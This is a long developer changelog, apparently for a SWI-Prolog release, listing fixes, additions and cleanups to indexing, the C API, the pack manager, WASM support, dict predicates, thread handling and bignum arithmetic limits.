  • ENHANCED: bypass most indexing code for non-indexable predicates

  • ENHANCED: Change default index argument

  • ADDED: Prolog flags to query and change the JIT clause indexing.
    Experimental. The meaning and names of the flags are likely to change.

  • FIXED: library(prolog_colour): misleading colouring of Dict.field
    Field was flagged as an error ( no_function ).

  • DOC: sort/4 stable sort example. Suggested by Pierpaolo Bernardi.

  • ASAN: Avoid runtime errors on field[1]

  • PORT: More C99 unspecified array at end of struct issues.

  • PORT: Use portable definition of struct clause

  • PORT: Use C99 constructs for a portable version of struct functor
    Structs may use type name[] as last field for a dynamic array.

  • ENHANCED: Simplify generating a joined key for multiple arguments.

  • ENHANCED: app splfr to use new argv_options/4 ability to pass
    unknown options.

  • ADDED: argv_options/4: option unknown_option(pass) This passes
    unknown options to the positional argument list without warning.
    This is intended for processing some options while some downstream
    component processes the remaining options.

  • MODIFIED: Turn SICStus splfr script into a SWI-Prolog app Allows
    for swipl splfr [option..] input ...

    Patch also fixes typing in sicstus.h , check the return of
    PL_put_term() and adds SP_cons_functor().

  • DOC: spellchecked documentation

  • CLEANUP: Clause indexing code. Split into smaller functions,
    use bool type, avoid goto , add more comments, etc. This is a
    preparation before improvements.

  • ADDED: foldall/4. Suggested by Boris Vassilev.

  • DOC: clarified (new) destructive assignment complexity.

  • ENHANCED: Use improved sharing in nb_set_dict/3. This patch makes
    nb_set_dict/3 call the low-level code for nb_setarg/3, providing
    better code reuse.

  • ENHANCED: nb_setval/2: avoid quadradic complexity.

  • ENHANCED: nb_setarg/3: avoid copying the old value. If the new value
    contains the old, the old value is not copied, making many applications
    linear instead of having quadratic cost.

  • CLEANUP: Pack context for copy_term/2 and friends into a struct Also
    type and declaration cleanup

  • ADDED: swipl pack remove: --dir=DIR option

  • ADDED: swipl pack info: --dir=DIR option Give info on packs installed
    below DIR

  • ADDED: swipl pack rebuild [--dir=dir] [pack ...]

  • ADDED: swipl pack list --dir=DIR option to list packs installed
    in DIR.

  • FIXED: dict_same_keys/2 could overflow the global stack.

  • ADDED: trap/1: aliases for e.g. type_error → type_error( , ) So one
    does not need to remember the number of arguments.

  • FIXED: Preserve incremental property when creating a saved state.

  • BUILD: Add CMake option -DSWIPL_SO_VERSIONS to remove SOVERSION
    properties.

  • DOC: statistics/2 lost the keys globallimit , locallimit and
    traillimit . Reported by Jelmer Jellema.

  • FIXED: print_term/2: proper handling of operators(Ops) Needs to be kept
    consistent with write_options([… ignore_ops(IgnOps)]). Implemented
    consistency and deprecated the option. Reported by Mike Elston.

  • FIXED: merge_options(+Dict, +List, Merged) Resulted in no matching
    rule exception.

  • ADDED: library(prolog_colour): track CHR declaration locations

  • FIXED: Handling of home during boot session.

  • ENHANCED: pack_info/1: use colours and indicate autoload status.

  • MODIFIED: pack_install/2 option autoload(true) If present, the pack
    is installed as autoload pack regardless of autoload option in the
    meta-data. If the option is not present, the system asks the user to
    install as autoload library if the meta-data contains autoload(true).

    If autoloading is not enabled, the INDEX.pl file that may appear
    in the pack is removed.

    This patch also adds swipl pack install --autoload ...

  • FIXED: Make packs that provide an autoload library work again.

  • FIXED: cmake/TestSignalType.c for C++

  • PORT: Make cmake test for signal handler compatible with c23

  • ENHANCED: gui tracer support for Head ==> Body rules.

  • ENHANCED: Set non_terminal property for clauses for Head ==> Body

  • WASM: Include ABI file to make the home search work.

  • FIXED: New home search to actually try the compiled in value.

  • ENHANCED: Verify sanity of the Prolog home directory This patch
    validates that the home directory contains a file ABI holding the
    ABI information and compares this. On failure, it reports a detailed
    report on why Prolog could not find its home directory.

  • FIXED: explain/1 to report the same predicate multiple times.
    This happens if the predicate is imported into multiple modules.

  • ADDED: library(exceptions) This library provides catch/4 and error/2
    to define error types and catch based on types rather than unification.
    Experimental.

  • PORT: read_pending_input/3 and friends: make 16 bit encodings work
    on Windows.

  • FIXED: Pass command line arguments in class Prolog.

  • DOC: gcd/2 and lcm/2 are not operators.

  • ADDED: Prolog flag unknown_option with values {ignore,warning,error}.
    As a result of PIP-105. May change, but unlikely as their was clear
    agreement.

    This flag disables the iso flag from reporting errors on unknown
    options
    because this breaks large parts of SWI-Prolog’s libraries. The user
    can
    now explicitly enable this as well as make the system pring warnings to
    investigate possible issues.

  • FIXED: Use of undefined options in the toplevel. This makes the
    toplevel unusable if the Prolog flag iso is set to true .

  • PORT: WASM: Get rid of deprecated allocate, ALLOC_NORMAL and
    ALLOC_STACK

  • FIXED: WASM: Query.next() to set done to true on last answer.
    This must be false when used as iterator.

  • ENHANCED: Allow suppressing autoload warnings.

  • TEST: Move test_rwlocks.pl from library to thread test dir.
    This test should not run in the single threaded version.

  • FIXED: WASM: for(x of prolog.query(…)) lost last answer

  • FIXED: Handling return values in stack expansion. Introduce
    more bool to correctly distinguish functions returning
    true/false/*_OVERFLOW from those raising exceptions and only returning
    true/false.

  • FIXED: prolog_trace_interception/4: setting up the hook good crash.

  • CLEANUP: Updated library(option). Updated documentation and make
    more use of => to capture type issues. merge_options/3 now also
    supports dicts.

  • ENHANCED: prolog_frame_attribute/3: Better argument validation.
    Also various minor cleanup (e.g., more bool ).

  • FIXED: library(main): superfluous choice point in argv_options/3

  • ADDED: format/2: support ~:D The colon modifier for D forces
    the use of Prolog digit grouping using _ .

  • FIXED: format/2 handling of Unicode characters Regression from
    a49fe8cb40fc15b7325a4e4836304cbe6d9ccef0

  • ADDED: library(prolog_locale) to setup grouped printing of integers.

  • ADDED: write_term/2 options format_float(+Format) and
    format_integer(+Format) Using a format seems a more sensible way to
    control writing numbers from write_term/2. This patch removes the
    previously introduced radix(+Radix) option. If we want this back we
    will implement it on top of format_integer(+Format).

    This patch also contains a lot of small code cleanup and some
    optimization
    to low-level I/O.

  • ADDED: write_term/2: option radix(Radix). Experimental. Under
    discussion as PIP-105. The current implementation writes, unlike XSB,
    the radix prefix. We either need more options or we should consider
    another alternative such as integer_format(+Format)

    As this patch cleans up a lot of the code regarding numeric output and
    most will be needed anyway, it is merged despite the fact that the
    radix option may vanish eventually.

  • ADDED: format/2 specifier ~h This provides compatibility to
    SICStus. It also makes write/1 output for floats compatible to SICStus
    for deciding between fixed point and exponential notation.

  • FIXED: ISO compatible parsing for fy 2 yf and similar cases.

  • TEST: Added ISO ambiguous operator tests. Marked two tests as blocked
    as these currently fail.

  • FIXED: #1331 Module issue in SICStus block/1 emulation. This patch
    also reformats the file, removes some dead code and remove the outdated
    restriction that it does not work on dynamic or foreign predicates.

  • ENHANCED: Avoid spurious tracing in push_msg/2.

  • DEBUG: First print the Prolog stack “safe” on a crash. This guarantees
    that the stack is printed, including details on the clauses involved
    and progress in each clause. Next, the stacks are printed with
    arguments. This however may crash if the crash is caused by corrupt
    data on the stacks.

  • ADDED: Support SSU DCG rules as Head[, Guard] ==> DCGBody .

  • FIXED: libary(prolog_pack): detection of valid download URLs.

  • FIXED: Build order planning. This reverts
    1cf4acbe722604857a2627ecc161f80e16f330ed. That patch was broken.
    The reported failure probably had some other cause.

  • FIXED: Installing a pack should attach the pack itself. This
    incorrectly registered the directory of the pack as a directory that
    provides packs instead.

  • ENHANCED: explain/1 to enumerate all instances of a non-qualified
    predicate.

  • TEST: rwlocks unit tests for safety and reliability

  • BUILD: plunit requires clib package.

  • ENHANCED: Implement distinct/1,2 and reduced/1,3 using tries.
    This reduces the overhead over 5 times.

  • DOC: Update library(shlib) documentation.

  • ENHANCED: Re-implement library(nb_set) using closed hash tables.
    This provides better performance at lower memory usage. It comes
    with a few modifications:

    • The term representation is different. This only affects
      applications that access the internals.
    • gen_nb_set/2 enumerates the elements in hash order rather than
      in standard order of terms.
    • Invalid usage now traps nu matching rule errors due to the usage
      of => rules. Used to fail or succeed incorrectly.
  • BUILD: Make sure to clear DISPLAY when running xpce steps
    (one more)

  • BUILD: Make sure to clear DISPLAY when running xpce steps While
    the build works without a DISPLAY variable, an invalid variable causes
    the build to fail.

  • TEST: Disable collation_key/2 test for MacOS Macos Sequoia (15)
    wcsxfrm() returns garbage.

  • FIXED: Avoid corruption in setjmp()/longjmp() Clang demands using
    a volatile variable for protecting the throw environment’s parent.
    This is probably correct, although it seems weird to place this
    variable in a register.

  • ENHANCED: Add Prolog navigator to theme/dark.pl

  • FIXED: build order for dependencies in packs. Based on #1326 , but
    fixing build_order/2 rather than reversing afterwards.

  • FIXED: expand_term/2 to succeed twice when expanding a toplevel
    list. Results in duplicate clauses when compiling [f(1), f(2)]. .
    Reported by Uwe Neumerkel.

  • FIXED: pack management: find available versions from wildcard URL.
    Patch by Nicos Angelopoulos

  • PORT: Added FreeBSD signal names to the name/number map. Contributed
    by Dewayne Geraghty

  • ENHANCED: file_autoload_directives/3: deal with library(main) hooks.

  • FIXED: Flush pending output on halt/1.

  • FIXED: select_dict/3: deal with attributed variables.

  • CLEANUP: Split select_dict/3 and :</2 code. Although there is some
    shared functionality, the merge complicates things more than it solves.

  • ADDED: library(dicts): mapdict/2,3,4

  • ADDED: ‘$get_dict_kv’/4,6,8

  • ADDED: dict_same_keys/2 Similar to same_functor/2. This is a building
    block for a future mapdict/3 predicate.

  • FIXED: select_dict/3: possible crash. Could crash if the first
    argument dict did not have unbound keys. The new implementation is
    also faster, building the new dict opportunistically rather than in
    a second scan.

  • FIXED: Build failure on systems without sem_timedwait()

  • FIXED: Avoid message when assertion/1 is interrupted by abort

  • ADDED: Prolog flag halt_grace_time : graceful timeout limit

  • CLEANUP: Getting Prolog flags from C

  • ADDED: PL_print_message() for calling print_message/2 from C

  • FIXED: print_term/2: indentation of right argument of infix term.

  • FIXED: Allow breakpoints in arg(C,T,F) I.e., arg/3 calls with a known
    argument and the 3th index being a first var . These map to the
    B_ARG_CF VM instruction.

  • FIXED: Possible memory leak in various C API functions using
    BUF_MALLOC These functions could “stack” intermediate results,
    overflowing the string stack when used excessively inside a single
    foreign predicate or outside calls from Prolog (i.e., using “main”
    in foreign code).

  • ADDED: PL_get_stream(): SIO_TRYLOCK flag to allow failure if the
    stream is locked.

  • ADDED: catch/3: support constraints on the Ball .

  • FIXED: Bail out with fatal error if we cannot allocate a foreign
    frame for an exception.

  • FIXED: Generate a fatal error if there is no local stack emergency
    space

  • FIXED: Partial unification while searching for a matching catch/3.
    As the partial unification is not undone, we may fail to find the
    right catch frame.

  • FIXED: Memory leak in PL_get_wchars() when using BUF_MALLOC .

  • FIXED: Avoid error message when calling halt/0,1 from -g goals.
    Reported by Jos de Roo

  • MODIFIED: cancel threads using unwind(halt(Status)) Older versions used
    '$aborted'

  • MODIFIED: PL_halt() return status and new flag. If the flag
    PL_HALT_WITH_EXCEPTION is used, PL_halt() tries to raise an
    exception and returns false . If the halt was cancelled, the return
    is now true (was false ). Otherwise, the function does not return.

  • ENHANCED: halt/1: use the unwind(halt(Status)) if possible.

  • CLEANUP: Removed '$aborted'

  • DOC: Status of unwind(…) exceptions.

  • MODIFIED: Re-implement thread_exit/1 based on
    unwind(thread_exit(Term)).

  • ADDED: Allow unwind(halt(Status)) to halt from an exception.

  • MODIFIED: Introduced unwind(Term) exceptions.

  • ADDED: parse_time/3: support RFC1036 and ASCTIME formats These formats
    are old HTTP timestamp formats.

  • DOC: Added documentation for PL_for_dict()

  • FIXED: Windows format_time/3 implementation for time stamps > 32 bits.
    While the Windows time_t is 64 bits, it doesn’t seem to localtime()
    seems broken handling large time offsets.

  • MODIFIED: parse_time/2,3: interpret missing timezone as local time.
    This patch fixes parsing YYYY-MM , which used to be a day too early.

  • ADDED: date_time_stamp/2: allow leaving components unbound from
    the right.

  • DOC: #1323 Wrong claim on default for prefer_rationals flag.

  • ADDED: is_message_queue/1 to test the existence of a message queue.

  • ADDED: with_stopped_threads/2 to run a goal while other threads
    are stopped. This is a utility for supporting the debugger.

  • MODIFIED: interactor/0,1 to run thread in normal mode.

  • FIXED: pack_publish/2 reporting (claimed failure)

  • ADDED: swipl pack publish --server=URL ... Allows publishing at
    an alternative server.

  • ENHANCED: argv_usage/1 to put a newline before the footer section.

  • FIXED: Package manager, swipl pack publish . Broken detection of
    git directory and failure do deal with

     requires(prolog:flag(_Value)).
    

    to test for existence of a Prolog flag.

  • FIXED: Possibly memory leak in LibBF arithmetic A thread race condition
    may lead to loosing cache values from get_trig(). Fixed using C11
    atomics.

  • FIXED: Use stack variable after return for LibBF bignums This leads
    to incorrect results and crashes when using really big bignums.
    The LibBF bignum implementation is by default used for the WASM
    version and the MacOS binaries.

  • ENHANCED: install_pack/1,2 to prefer https over http for downloading.
    Unless insecure(true) or swipl pack install -k <pack> is given,
    possible HTTP links are automatically rewritten to HTTPS.

  • FIX: missing dot that one had interesting side effects :slight_smile:

  • ENHANCED: pack_install/1: warn if files are downloaded over HTTP

  • MODIFIED: argv_options/3: with type (bool|sometype) We now consider
    the option boolean unless written as --opt=value Before, the
    option was considered boolean if it was the last argument or the next
    argument started with a - .

  • FIXED: argv_options/3 handing of boolean|Type on last option

  • PORT: Add gettid() detection

  • PORT: Call gettid via its glibc wrapper if possible

  • ENHANCED: Arithmetic performance. This patch reverts
    18d5d539af0807808ba6fee6ec66394aaec589f1 except for clang as it does
    cause a significant slowdown on some systems.

  • LEGAL: Resolved license issues for dialect/xsb/basics.pl Hi Jan,
    As the coder of a number of (but by no means all) the predicates
    in XSB’s basics.P, I’m perfectly fine with you releasing under the
    BSD-2 license. Regarding the issues with XSB’s licenses, we’ll have
    to consider it and come to some decision. Best, -David

  • DOC: Updated limits section

  • DOC: Update 32/64 bit notes

  • FIXED: #1317 thread_exit/1 can crash after changes to thread_signal/2.

  • APPLE: Add code signing for creating the .dmg image The image is
    signed if $CODESIGN_ID is set to the certificate id to be used
    with codesign -s . Unfortunately, this is not the whole story.
    As a result, we can no longer load shared object that are not part
    of the disk image, which means we cannot use Xquartz, Python or Java.

  • MODIFIED: Apple: better support MacOS bundle hierarchy Make the binary
    bundle match the MacOS guidelines. In particular

    • Move the Prolog “home” to Contents/Resources/swipl
    • Move modules (*.so files) to Contents/Plugins/swipl
    • Remove the need for swipl.home by using compiled-in relative
      path to find the home.
    • Added a flag bundle to make the system aware it is using the
      bundle hierarchy.
    • Moved foreign path definitions from init.pl to the
      library(shlib), where we now use conditional compilation to get
      the paths right for the target platform.
  • FIX: include stdbool

  • DOC: Explain issues and features of the C-API Boolean functions.

  • DOC: Fix bool types for PL_* functions

  • MODIFIED: Return type of most C API functions is now bool This
    should have very few consequences to applications, even preserving
    binary compatibility. The change adopts the upcoming C23 standard
    and makes it easier to understand the API.

  • CLEANUP: Use true and false throughout the core C code.

  • COMPAT: Adopt stdbool.h This patch avoids conflicts the type bool
    and its values true and false as defined in <stdbool.h> while
    these will be promoted to C keywords in the upcoming C23 standard.

  • FIXED: Race conditions in thread_signal/2 and friends.

  • TEST: Avoid interference between thread_wait tests. Tests send
    concurrent signals using a detached thread that could still be running,
    affecting subsequent tests.

  • TEST: Test for getting an I/O error on a broken pipe may succeed.
    Turns out the pipe size on Asahi/Fedoare 40 is 256K. Now writing a
    max of 1.2Mb rather than 100K.

  • ADDED: Prolog flag dir_sep Complements path_sep and path_max
    to get properties on the file naming conventions and limits.

  • FIXED: #1311 Possible stack corruption in PL_unify_text() Cause of this
    crash is a failure to verify return from PL_new_term_ref(). There were
    more issues with the code though. Lack of local space could corrupt
    a string living on the stack. We can discard the term reference.

  • INSTALL: modify cmake ilink to install symlink in CMAKE_INSTALL_PREFIX
    This ensures that when installing package selections to different
    install prefixes, the links end up in the right location. This is
    used by package maintainers to generate multiple packages from the
    same build.

  • FIXED: swipl-win.exe : Run/New thread menu

  • SNAP: added libxinerama1

  • DEPRECATED: file search from a source file relative to CWD Searching
    relative to CWD when loading a source file was supported up to
    version 9.3.8. 9.3.9 disabled this, but the implications appear
    too severe. This patch re-enables the old behaviour with a warning.
    The Prolog flag source_search_working_directory can be set to
    false to disable searching the working directory.

  • FIXED: possibly early GC of arguments for call_cleanup/2 Also affects
    '$bags':cleanup_bag/2 . The early GC can happen if a signal arrives
    when these predicates are being called and the signal handler calls GC.

  • FIXED: use_module(M, [Pred as Alias]) for meta-predicates

  • DOC: #1303 EBNF description of sequence//3 and sequence//5.

  • FIXED: print_term/2 to add a space behind : when printing dicts
    vertically. This avoids syntax error due to symbol glueing and
    looks prettier.

  • FIXED: Handle “apps” from packs

  • FIXED: Handling of indirect data types in delimited continuations.

  • BUILD: Added CMake options SWIPL_CC and SWIPL_CXX This selects the
    defaults for the c_cc and c_cxx flags. Distributions should
    normally set these to the common C and C++ compiler of the platform.
    Local builds typically leave them default, setting these flags to
    the same as used to build SWI-Prolog.

  • FIXED: #1300 Modify prefix block operator to plain term if there is
    no argument.

  • TEST: make string_upper/2 test succeed if LANG=C

  • FIXED: qlf app to not import the compiled library into user .
    This leads to conflicts.

  • MODIFIED: drop library(checkselect) and library(checklast). These
    modules help debugging reordered arguments for select/3 and last/2
    from old non-(de-facto)-standard to common practice long ago.

  • DOC: Improved docs for prolog_alert_signal/2.

  • FIXED: swipl pack install . to install using a symlink.

  • MODIFIED: absolute_file_name/3 relative to source Up to this patch,
    predicates that used absolute_file_name/3 (including load_files/2,
    use_module/1, etc) interpreted plain non-absolute names relative
    to the source and on failure, relative to the working directory.
    As of this patch we only consider files relative to the source.

  • PORT: Another iteration trying to tame MacOS.

  • PORT: Deal with wcsxfrm() nor immediately returning required size

  • FIXED: Type for PL_get_intptr_ex(). Breaks on Win32

  • CLEANUP: Make all code clean for clang-18 -fsanitize=undefined

  • ENHANCED: Added ‘c_cxx’ flag and env SWIPL_CXX for packs

  • FIXED: #1292: possible stack corruption in exception handling.
    Probably can only be triggered if SECURE_GC is enabled which wipes
    the unused parts of the stacks in trimStacks().

  • SANDBOX: Allow for term_singletons/2

  • FIXED: #1292 Possible stack corruption after exception.

  • FIXED: unification of zero-arity compounds

  • FIXED: Possible assertion error due to unify refactoring.

  • FIXED: thread_signal/2: may raise exception and succeed.

  • CLEANUP: Refactor unify() Split into a function that deals with
    everything except compounds and one that does the whole thing.
    This makes the function a lot easier to understand. This rewrite
    has no measurable performance implication and should make it a bit
    easier to optimize it further.

  • ENHANCED: Simplify H_VAR

  • ENHANCED: Low-level unification to constants Speeds up unification
    from foreign code to atoms and small integers.

  • ENHANCED: make/0: no longer try to update the indices of system
    libraries. These libraries are properly maintained by the build and
    installation process while the time stamps are often wrong after the
    installation process.

  • FIXED: Do not wait longer than 30 seconds after a crash. This deals
    with situations where error reporting and cleanup hangs due to
    a deadlock.

    Normally, after a fatal crash report and if the system is connected to
    a terminal, it waits for user input such that the user can attach a
    debugger to analyse the state. We now wait at max 30 seconds to avoid
    indefinite waiting if there is no human in the loop after all.

  • DOC: time/1: we do support per thread CPU time on MacOS.

  • FIXED: Properly export environment_frame in foreign predicate redo.
    The incorrect setting causes problems in the new consistency checks
    for term_t as well as confusing backtraces.

  • PORT: Possibly collapsing VM instructions on 64 bit Visible using
    gcc 14 on arm64 (Asahi Linux)

  • WASM: SWIPL() initialization changed in Emscripten Where
    SWIPL(Module) used to return a Promise that would complete
    returning the same Module , it now returns a new module object
    that is independent from the agument passed.

  • ADDED: PL_free_term_ref() In addition, this patch distinguishes
    term_t originating from predicate arguments (which cannot be freed
    and to which we cannot “write” (PL_put_*())) from user allocated
    term references.

  • ADDED: Validate arguments to the C API PL_ () functions. This commit
    validates term_t, atom_t and functor_t parameters to the PL_
    ()
    functions that terminates the process if it finds invalid data.

    These tests may be disabled using cmake -DVALIDATE_API=OFF . The
    validation has very little impact on the raw Prolog performance as
    most internal use of the C api bypass the public API function. It
    may have measurable impact on packages that use the C interface in
    a very time critical way.

  • ADDED: PL_api_error() to signal invalid use of the API

  • FIXED: =@=/2: attributed variables must be handled as normal variables.

  • FIXED: Determine file exports under conditional conditional
    compilation.

  • FIXED: Process multiple predicates from export/1 directives.
    To determine file exports, we considered only a single predicate
    for export/1.

  • FIXED: Stops repeated crash reports While recursive crashes where
    dedected, no appropriate action was taken, leading to endless error
    reports.

  • FIXED: ‘$open_xterm’/5: raise exeption if we cannot run xterm.
    Used to hang, waiting for output from the xterm process.

  • MODIFIED: Renamed open_xterm/5 as private '$open_xterm'/5 .
    open_xterm/5 was not documented. This patch removes the implementation
    completely if the OS lacks the required POSIX pty support and renames
    the predicate to '$open_xterm'/5 if xterm consoles can be supported.
    In addition, this patch adds conditional compilation to console support
    in library(threadutil) if neither the Windows support nor the xterm
    support can be provided.

  • FIXED: Build dependency of documentation on utf8proc package

  • ENHANCED: call_in_thread/2 error handling.

  • TEST: test_interrupt: skip test if alert signals are required but
    they are disabled.

  • DOC: fix typo and improve cmake instructions

  • FIXED: thread_create/3: handling of c_stack option. While the
    size was documented to be in K-bytes, it actually is in bytes.
    Updated the docs for that. Allow for c_stack(0) to use the mininum.

  • ADDED: thread_get_message/3 and thread_send_message/3:
    signals(BoolOrTime) option.

  • MODIFIED: Change default for the Prolog flag toplevel_print_anon .
    This flag is now by default false , hiding toplevel variables that
    start with an underscore.

  • FIXED: Generating variable names may conflict with user variables.

  • FIXED: Links to FAQ pages.

  • FIXED: Trie handling of floats on 32-bit hardware

  • CMAKE: Fixed -DCMAKE_BUILD_TYPE=Sanitize Defaults to
    -fsanitize=address .

  • FIXED: Enabled pre-check for left-shift of large integers This both
    avoids possible GMP exceptions and allocating huge amounts of memory.

  • ENHANCED: Clarify shifting negative integers This patch also avoids
    relying on undefined C behavior.

  • FIXED: shift (<< and >>) of zero.

  • FIXED: Handle source files with epoch time stamp Flatpak seems to
    set the modification time of all times in the sandbox to the epoch
    (0). This was used as a special value to indicate the source file
    was not a file. We now keep a seperate flag and use the integer
    0 to indicate something is not a source file in the Prolog world.
    It is probably better to use something else, but this avoids type
    issues in possibly unknown dependent code.

  • ENHANCED: Crash reports Avoid recursive crash reports and
    only print the GC and shift stacks if the environment variable
    SWIPL_DEBUG_GC_STACK is set.

  • DOC: Add --sigalert=NUM to swipl --help .

  • FIXED: trie_gen_compiled/3: deal with small integer value

  • FIXED: trie_gen_compiled/2,3: add indirect data (big integers,
    strings, rational)

  • FIXED: trie_gen_compiles/2,3: possible stack corruption

  • FIXED: #1277 crash in trie_gen_compiled/3.

  • CLEANUP: Avoid to undefined sanitizer warnings.

  • CLEANUP: Avoid UBSAN error Test for arity > 0

  • CLEANUP: workaround for an UBSAN error UBSAN complained about a left
    shift of -1

  • CLEANUP: avoid UBSAN error in mkvmi.c The error is raised because we
    have e5 -= 0 for e5 == NULL

    else-branch of if ( !e4 || (is_vmh && !e5) )
    <=> e4 && !(is_vmh && !e5)
    <=> e4 && (!is_vmh || e5)

    Consequence is e4-- (which is fine) and e5 -= is_vmh which is either
    a noop* for is_vmh == 0 or fine for is_vmh != 0 && e5 != NULL.

    The noop case raises the error if e5 == NULL. * CLEANUP: Use
    unsigned int for variable table bitmap.
    This avoids an officially undefined shift in C.

  • FIXED: Possibly undefined too large shift

  • FIXED: bf_set_si for -INT_MIN avoid undefined behavior raised by UBSAN

  • PORT: !1269 Deal with the type z_crc_t used by minizip zlib This
    works around a type conflict over get_crc_table(). Some headers define
    this as returning z_crc_t* without defining this type while others
    (Fedora 40) defines the function as uint32_t* and defines z_crc_t .
    This patch makes CMake check for the z_crc_t type and, if defined,
    use this definition.

  • ADDED: qsave_program/2: --foreign=copy to copy DLLs for Windows.

  • ADDED: library(www_browser): support host relative links.

  • ENHANCED: Added toplevel options +, - to modify max_depth This option
    also changes ‘w’ to merely drop portrayed(true) and p to add it.

  • DOC: write_term/2: document interaction between portrayed and
    numbervars

  • FIXED: Do not name binding variables if the answer options to not
    handle '$VAR'(N)

  • RELEASE: update-macports: verify we can download the source file This
    avoids forgetting to update the source file as well as the CDN delay.

  • DEBUG: Save C backtraces at GC and SHIFT start

  • DEBUG: Improve crash context printing Make all fatal errors
    (sysError(), assertion failure and fatal signal) call new function
    printCrashContext() that prints more extensive information about
    the crash

  • FIXED: notrace/1 could raise a representation_error(size_t)
    exception This exception is raised if the trace skip level =
    SKIP_REDO_IN_SKIP .

  • FIXED: call/1 (I_USERVALL0) GC issue call/1 did not correctly make
    the goal available to GC if stack expansion is required.

  • MODIFIED: term_string/2,3, atom_to_term/2 and read_term_from_atom/3
    now raise exception on empty input These predicates used to
    produce the atom end_of_file . Now they raise the exception
    syntax_error(end_of_string).

  • PORT: Fix case conversion for Unicode characters on Windows.

  • TEST: Disable case test for u00ff on Windows. towupper(0xff)
    returns 0x9f on Windows.

  • FIXED: prolog_walk_code/1: no matching rule from goals reached from
    a :- initialization.

  • BUILD: Extended scripts/configure to include termux

  • FIXED: Stack shifter Foreign frames may hold references to the local
    stack in addition to global stack references.

  • PORT: Include Ubuntu 24.04 (Noble Nombat) in PPA builds

  • PORT: Use -funwind-tables on ARM systems with glibc, also for clang

  • CLEANUP: Remove various unused macros and join macros that are now the
    same Also document the current state of the Prolog data representation.

  • ENHANCED: Removed accessing Prolog data using relative addresses This
    patch removes accessing Prolog data using relative addresses to the
    stack bases. This was long ago introduced to facilitating access to
    all memory on 32-bit systems using multiple threads.

    Now all prolog data is 64 bits, also on 32-bit systems and hence we can
    access all memory using a tagged pointer.

  • PORT: Deal with Android android-execinfo library.

  • FIXED: generation of swipl.pc pkg-config file Now uses LIBSWIPL_DIR to
    get the correct -L flag when the system is installed as global library.

  • FIXED: Reconsult when the loaded code sets the trace flag on
    a predicate. This was due to a conflict over the predicate flags.
    As the flags field was widened, we can avoid these problems.

  • PORT: #1265 Deal with static_assert() after label

  • FIXED: WASM: fix fid arg position in this.query call in
    __call_yieldable

  • FIXED: #1262 upcase_atom/2 and friends on ISO → wide If input is
    ISO-Latin-1 and the converted character requires wide characters
    the system trapped an assertion error. Now correctly converts to
    wide characters.

  • FIXED: Clang handling of max_integer_size Clang cannot handle
    setjmp()/longjmp in PL_next_solution(), but it can in the simple
    evalExpression() function. This does not have measurable impact on
    performance, so we enabled this as default. This fixes limiting the
    integer size for WASM and Clang builds on Linux. This problem did
    not surface on the MacOS version.

  • FIXED: Compute new stack size when we reach the limit. Suffered from
    integer overflow on 32-bit machines and got several edge cases wrong.

  • CLEANUP: Allow for gcc -Wconversion With 64 bit word it is easy
    to get conversion errors. Compiling with -Wconversion helps
    tracking these.

  • FIXED: comparison of MPZ and MPQ with 64 bit integers if long is
    4 bytes

  • FIXED: Push string when stack > 128Mb on 32-bit hardware

  • DEBUG: Added scripts/gdbinit Share gdb script with useful debugging
    commands. [no ci]

  • FIXED: Normalize LibBF numbers created from 64 bit integers on VS2022
    VS2022 does not support 128-bit integers and therefore we must use
    32-bit “limbs”

  • PORT: VS2022: void* arithmetic, wrong order for SIZEOF_WORD

  • FIXED: forAtomsInClause() handling of B_*_?C instructions These called
    PL_unregister_atom() on the atom, rather than the argument function.

  • FIXED: DEBUG(CHK_SECURE) clean of memory (wrong size)

  • FIXED: Type handling in copy_term/2 and friends.

  • ADDED: PL_atom_index() and PL_atom_from_index() Turn atoms into small
    objects that can be combined with other pointer sized objects with
    space for a tag.

  • BUILD: Respect $CFLAGS and $CXXFLAGS in a CMake build types

  • CLEANUP: Get rid two definitions for trail entries

  • CLEANUP: Prepare hash tables for the M64 data model This huge commit
    changes pl-table.c to be word → word rather than void* → void* as
    we plan to make words 64 bit, also on 32 bit systems. This patch also
    introduces 4 table types, TableWW, TableWP, TablePW and TablePP. These
    tables map between words and pointers in all 4 possible ways.

    This patch also involves small cleanups and fixes encountered while
    reading the code and use FOR_TABLE() everywhere, removing the old
    for_table() macro.

  • FIXED: prototype for get_string_text()

  • FIXED: make markAtomsOnGlobalStack() safe This could crash on all
    platforms. It is notably dangerous using the experimental O_M64
    model.

  • TEST: Disable max_integer_size test for emscripten Doesn’t handle
    longjmp() correctly in release mode. Works in debug mode, but that
    is not useful.

  • FIXED: write clauses holding > 0xffff Unicode chars in strings to
    QLF on Windows.

  • FIXED: forAtomsInClause() handling of B_*_?C instructions These called
    PL_unregister_atom() on the atom, rather than the argument function.

  • FIXED: Temp buffer handling when stack is close to top of address range

  • DEBUG: Fixed chk_secure report on invalid term due to
    PushPtr()/PopPtr() This construct to turn raw pointers into term
    references to preserve them during GC can create referenc pointers
    to the local stack. Another possible fix is to turn such references
    into direct term references. That avoids local stack references,
    but as this is only used around GC and GC itself uses local stack
    reference pointers, there is little to gain.

  • FIXED: unifiable/3 internal consistency Unifiable did not correctly
    handle stack resizing. This is detected when running using chk_secure.
    Not sure whether it can also cause real issues, but the new code is
    simpler and safe.

  • FIXED: powm/3 function: wrong type check on 3rd argument.

  • FIXED: Declaration of term stack for evaluating expressions

  • FIXED: Write bignums when inside arithmetic. Should normally not be
    needed, but debugging is much easier if we can.

  • PORT: Avoid spurious warnings from spoiling pthread_setname_np()
    test This used to use -Werror to ensure a compiler failure if the
    number of arguments do not match the prototype, but this is already
    enforced in todays compilers.

  • FIXED: use_module/2 with except and reexport/2 with except to
    print warning These predicates failed if the source did not export
    the excluded predicate. Now it prints a warning and ignores the
    non-existent predicate.

  • DEPRECATED: Sseek(), Stell()

  • FIXED: Another fileno issue.

  • ADDED: library(sandbox): allow for Dict.get(key,Default)

  • FIXED: Stream initialization for swipl-win.exe Was broken since
    recent changes keeping track of fileno . Reported by Jan Burse.

  • ADDED: PL_system_error() This patch also adds documetation for
    PL_fatal_error().

  • ADDED: Prolog flag max_integer_size This flag limits the allocations
    on behalve of bignum and rational number processing, DoS attacks
    by exhausting memory using huge numbers as well as poor interrupt
    handling due to lack of signal handling inside the bignum libraries.

  • ENHANCED: Use temprary malloc API for bignum arithemetic

  • ENHANCED: Keep small bignums on the stack

  • CLEANUP: Simplify arithmetic context This is no longer nested and can
    (thus) be simplified.

  • FIXED: format/3: Ensure balanced AR_BEGIN()/AR_END() On errors it was
    possible that AR_END() was not called. This may lead to memory leaking
    and errornous operation when linked in a process that also uses gmp.

  • ENHANCED: Improve memory reuse after writing huge integers.

